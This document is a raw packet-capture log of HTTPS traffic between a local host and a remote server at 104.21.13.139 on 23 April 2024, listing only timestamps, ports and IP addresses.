Apr 23, 2024 14:44:57.608335972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.608340025 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.608362913 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.608378887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.609473944 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.609494925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.609527111 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.609533072 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.609550953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.609566927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.611176014 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.611190081 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.611232042 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.611236095 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.611279011 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.612597942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.612622023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.612643003 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.612648010 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.612667084 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.612688065 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.614387989 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.614402056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.614442110 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.614448071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.614455938 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.614481926 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.615544081 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.615561962 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.615588903 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.615592957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.615612984 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.615632057 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.617182970 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.617197037 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.617244959 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.617249966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.617259979 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.617281914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.618204117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.618217945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.618258953 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.618263960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.618298054 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.619580984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.619595051 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.619628906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.619633913 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.619649887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.619669914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.620589018 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.620601892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.620636940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.620640993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.620652914 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.620675087 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.621732950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.621746063 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.621783972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.621790886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.621798038 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.621820927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.623306990 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.623321056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.623362064 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.623367071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.623375893 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.623399019 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.624514103 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.624526978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.624569893 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.624573946 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.624588013 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.624603033 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.625612020 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.625624895 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.625678062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.625684023 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.625698090 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.625716925 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.846273899 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846288919 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846375942 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846440077 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.846471071 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846487999 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.846513987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.846688986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846720934 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846752882 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.846759081 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.846785069 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.846802950 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.847122908 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.847137928 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.847183943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.847189903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.847225904 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.847811937 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.847827911 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.847882986 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.847887993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.847923040 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.848547935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.848562956 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.848615885 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.848620892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.848659039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.849312067 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.849325895 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.849380016 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.849384069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.849425077 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.849795103 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.849808931 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.849857092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.849862099 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.849905014 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.850461960 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.850475073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.850523949 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.850529909 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.850564957 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.851238966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.851253033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.851305008 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.851309061 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.851347923 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.851644993 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.851658106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.851695061 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.851701975 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.851727962 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.851747990 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.852526903 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.852541924 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.852638960 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.852650881 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.852699041 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.853239059 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.853252888 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.853301048 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.853312016 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.853347063 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.853912115 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.853926897 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.853981972 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.853991985 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.854027987 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.854621887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.854643106 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.854701042 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.854712009 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.854751110 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.854948997 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.854967117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.855000973 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.855006933 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.855032921 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.855051994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.855811119 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.855823994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.855890036 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.855899096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.855932951 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.856515884 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.856528997 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.856583118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.856590986 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.856625080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.857429981 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.857456923 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.857505083 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.857516050 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.857541084 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.857557058 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.857633114 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.857645988 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.857692957 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.857700109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.857729912 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.858511925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.858525991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.858576059 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.858583927 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.858618021 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.859349966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859364033 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859436989 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.859446049 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859488964 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.859489918 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859503984 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859528065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859544039 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.859550953 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.859580994 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.859599113 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.860300064 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.860313892 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.860378981 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.860388994 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.860424042 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.861140013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.861152887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.861206055 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.861217022 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.861253977 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.861864090 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.861881018 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.861920118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.861932039 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.861958027 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.861979961 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.862158060 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.862170935 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.862229109 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.862236977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.862270117 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.862976074 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.862988949 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.863042116 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.863054991 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.863085985 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.863929987 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.863945961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864001036 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.864012957 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864046097 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.864804029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864818096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864869118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.864878893 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864902973 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864913940 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.864928961 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864943027 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.864950895 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.864988089 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.865844011 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.865856886 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.865907907 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.865916967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.865955114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.866556883 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.866569996 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.866621017 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.866628885 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.866660118 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.867250919 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.867422104 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.867434978 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.867505074 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.867512941 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.867528915 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.867548943 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.867562056 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.867572069 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.867583036 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.867609978 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.867953062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.868475914 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.868488073 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.868518114 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.868526936 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.868561983 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.869343042 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869357109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869421959 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.869430065 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869462967 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869468927 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.869476080 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869523048 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.869555950 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869586945 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.869628906 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.869649887 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.870320082 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.870340109 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.870402098 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.870414019 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.870459080 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.871124029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.871138096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.871191025 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.871201038 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.871239901 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.872011900 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872025013 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872081995 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.872088909 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872138977 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872148037 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.872153044 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872170925 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872180939 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.872196913 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.872200966 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.872224092 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.872240067 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.873137951 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.873155117 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.873231888 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.873240948 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.873274088 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.873780012 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.873792887 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.873842955 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.873852968 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.873887062 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.874284029 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.874298096 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.874346018 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.874352932 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.874387980 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.875226974 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.875241041 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.875300884 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.875310898 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.875353098 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.875937939 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.875951052 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.876000881 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.876009941 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.876045942 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.876435995 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.876451015 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.876488924 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.876496077 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.876530886 CEST	49738	443	192.168.2.4	104.21.13.139
Apr 23, 2024 14:44:57.877206087 CEST	443	49738	104.21.13.139	192.168.2.4
Apr 23, 2024 14:44:57.877219915 CEST	443	49738	104.21.13.139	192.168.2.4
